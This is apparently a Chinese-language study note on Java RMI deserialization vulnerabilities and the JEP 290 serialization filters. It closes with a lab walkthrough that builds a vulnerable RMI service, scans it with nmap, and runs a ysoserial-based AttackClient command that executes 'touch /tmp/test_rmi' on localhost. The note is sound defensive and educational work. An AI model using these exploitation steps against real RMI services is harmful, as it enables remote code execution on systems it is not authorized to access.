RMI
遠程過程調用 (Remote Procedure Call)是一種服務器-客戶端模式,
Java的RMI(Remote Method Invocation)是一種RPC實現。
其基本思想是程序員可以像本地那樣,與遠程對象進行交互。
步驟:
1、創建一個接口IRemoteService,繼承自java.rmi.Remote;
2、S端創建一個類IRemoteServiceImpl,實現該接口,並且繼承自java.rmi.server.UnicastRemoteObject;
3、S端在某端口(1099)註冊該Naming服務,並將新建的對象(Skeleton)與該服務綁定;
4、C端通過網絡連接(lookup)到該服務,得到C端的對象(Stub)通過網絡調用服務端對象(Skeleton)的方法。
RMI安全問題
RMI基於Java的序列化/反序列化實現,使其成爲反序列漏洞利用的一個攻擊面。
原理
攻擊者輸入惡意序列化對象,使得RMI服務端反序列化攻擊者指定的對象;
如果攻擊者指定的對象實現了自定義的readObject()方法,則在反序列化過程中可以藉此實現一些副作用(比如執行任意代碼)。
利用條件
RMI服務端classloader可以找到(存在於classpath中)一個或多個類,能在反序列化過程中實現攻擊者的意圖。通常把能實現這個的類叫做gadget
,或者當通過多個類組合起來實現的叫做gadget chain
。
Ysoserial
是一個預裝了多個gadgets的反序列化漏洞利用工具。
JEP 290
這篇文章A First Look Into Java’s New Serialization Filtering
對JEP 290做了解讀。
認爲
在Java反序列化漏洞廣受詬病的背景下,Oracle拿出了出了它自己的起碼之力:JEP 290,提供了一種反序列化過濾的機制。這個機制確實是在朝正確的方向上走。但它不能完全解決問題,也不適合企業生產環境。
因爲這種黑名單/白名單的過濾機制只有配置得當,纔能有效過濾掉惡意的反序列化攻擊。
JEP 290引入了三種過濾機制:
一、進程級過濾器(Process-wide Filter),也叫全局過濾器(Global Filter)
這種過濾方式的工作方式是:
啓動Java應用時添加命令行參數(後面有例子)
-Djdk.serialFilter=<白名單類1>;<白名單類2>;!<黑名單類>
或者設置Java系統屬性(Java 6,7,8)
$JAVA_HOME/jre/lib/security/java.security
(官方的是錯的)
或者啓動Java應用時設置
-Djava.security.properties=<黑白名單配置文件名>
基於白名單的進程級過濾器雖然是有效的,但是由於是白名單,程序員得找出某應用所有需要被反序列化調用的類,所以一般較難實現。不需要程序員手動修改應用程序級別的代碼,因爲這個機制已經內置在加入JEP 290的JDK代碼(java.io.ObjectInputStream)中。
PS:對於RMI反序列化,如果加入了全局過濾器,當然沒有辦法繞過這個全局過濾器。
二、自定義過濾器(Custom filters)
可以覆蓋進程級過濾器!
當程序員很明確知道他想要反序列化的類是在哪個具體的包下,或者具體的類。需要程序員手動修改應用程序級別的代碼。
通過代碼:
ObjectInputFilter filesOnlyFilter = ObjectInputFilter.Config.createFilter("de.mogwailabs.Example;!*");
表示只接受
de.mogwailabs.Example
這個包下的類,其他的類都會被拒絕。
PS: 對於RMI反序列化,我們不關心這個,因爲我們無法修改服務端代碼。
三、內置過濾器(Built-in Filters)
//TODO
關於java.security文件
這個文件在jre目錄下,
Java 6、7、8的是在這個目錄下:
$JAVA_HOME/jre/lib/security/java.security
看一下不同的JDK有沒有JEP 290有什麼區別:
具體看一下這個有JEP 290的jdk1.8.0_112的java.security文件有什麼東西。
首先有全局過濾器,即
jdk.serialFilter
這個值,不過需要程序員自行配置。
另外有RMI相關的,有一個內置的黑名單:
Github有人寫了一個常用的黑名單,配置JEP 290機制使用:
以下有一些黑名單類集合(過濾掉ysoserial中的gadgets):
https://github.com/mogwailabs/deserialization-filter-blacklists/blob/master/blacklist-filter.properties
在以下JDK版本之上
- Java 8 - 8u121
- Java 7 - 7u131
- Java 6 - 6u141
可以使用以下方式來進行進程級(Process-wide)的黑名單過濾,操作方法:
java -Djava.security.properties=blacklist-filter.properties -jar application.jar
後JEP 290時代
ATTACKING JAVA RMI SERVICES AFTER JEP 290
這篇文章其實人家也沒說繞過JEP 290的機制。人家標題說的就是XXX after jep 290
,即"後JEP 290時代的Java RMI漏洞利用方式",從頭到尾沒說繞過的事,也在開篇承認了如果在JEP 290機制下使用了全局過濾,那還是沒問題的。
翻譯過來是:如果沒有配置全局過濾器,我們還是可以在應用程序級別下功夫利用反序列化漏洞的。
以最近的Dubbo反序列漏洞爲例,比如我們用CommonsCollections4
這個gadget生成了payload,不管是使用JDK 112還是JDK 131啓動dubbo-samples-http,都可以被反序列化成功。原因在於JEP 290只是引入了一種機制,要麼使用進程級的過濾器,要麼各個應用自己加上自己應用級的過濾器。
而且對於JDK 112,即便加上了這個參數
-Djava.security.properties=/Users/caiqiqi/GitProjects/JavaSer/JEP290/blacklist-filter.properties
啓動後,依然可以被反序列化成功。
反序列化成功HTTP響應結果是:
而當使用帶JEP290的JDK 131啓動時,
未能命令執行。HTTP返回響應:
報錯信息是:
java.io.InvalidClassException: filter status: REJECTED
對比一下:
從打印出的調試信息也可以看出JEP 290修改了java.io.ObjectInputStream
類,增加了過濾對待反序列化對象的類檢查的邏輯(推測的,待看具體代碼)。
RMI反序列化漏洞環境
環境來源:
https://github.com/mogwailabs/rmi-deserialization
環境包括服務端和客戶端。且兩端持有相同的接口:
IBSidesService.java
package de.mogwailabs.BSidesRMIService;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IBSidesService extends Remote {
boolean register(String ticketID) throws RemoteException;
void visitTalk(String talkname) throws RemoteException;
void poke(Object attende) throws RemoteException;
}
爲了環境更加真實,這裏沒有將服務端和客戶端放到同一個節點上。服務端代碼BSidesMucRmiService
放到ubuntu-server虛擬機裏:
使用maven編譯依賴並打包:
mvn clean compile assembly:single
成功打包成jar之後,會在默認端口1099啓動RMI服務:
java -jar ./target/BSidesRMIService-0.1-jar-with-dependencies.jar
使用nmap掃描1099端口,可以得到34725這個新的端口,然後第二次使用nmap掃描,可以獲取到遠程RMI服務的一些信息。
然後編譯客戶端。由於客戶端有ysoserial的payload,需要帶上ysoserial作爲classpath:
javac -cp /Users/caiqiqi/Downloads/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar *.java
漏洞利用:
java -cp .:/Users/caiqiqi/Downloads/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar de.mogwailabs.BSidesRMIService.AttackClient 127.0.0.1 1099 "touch /tmp/test_rmi"
JDK 1.8.0_112
可以成功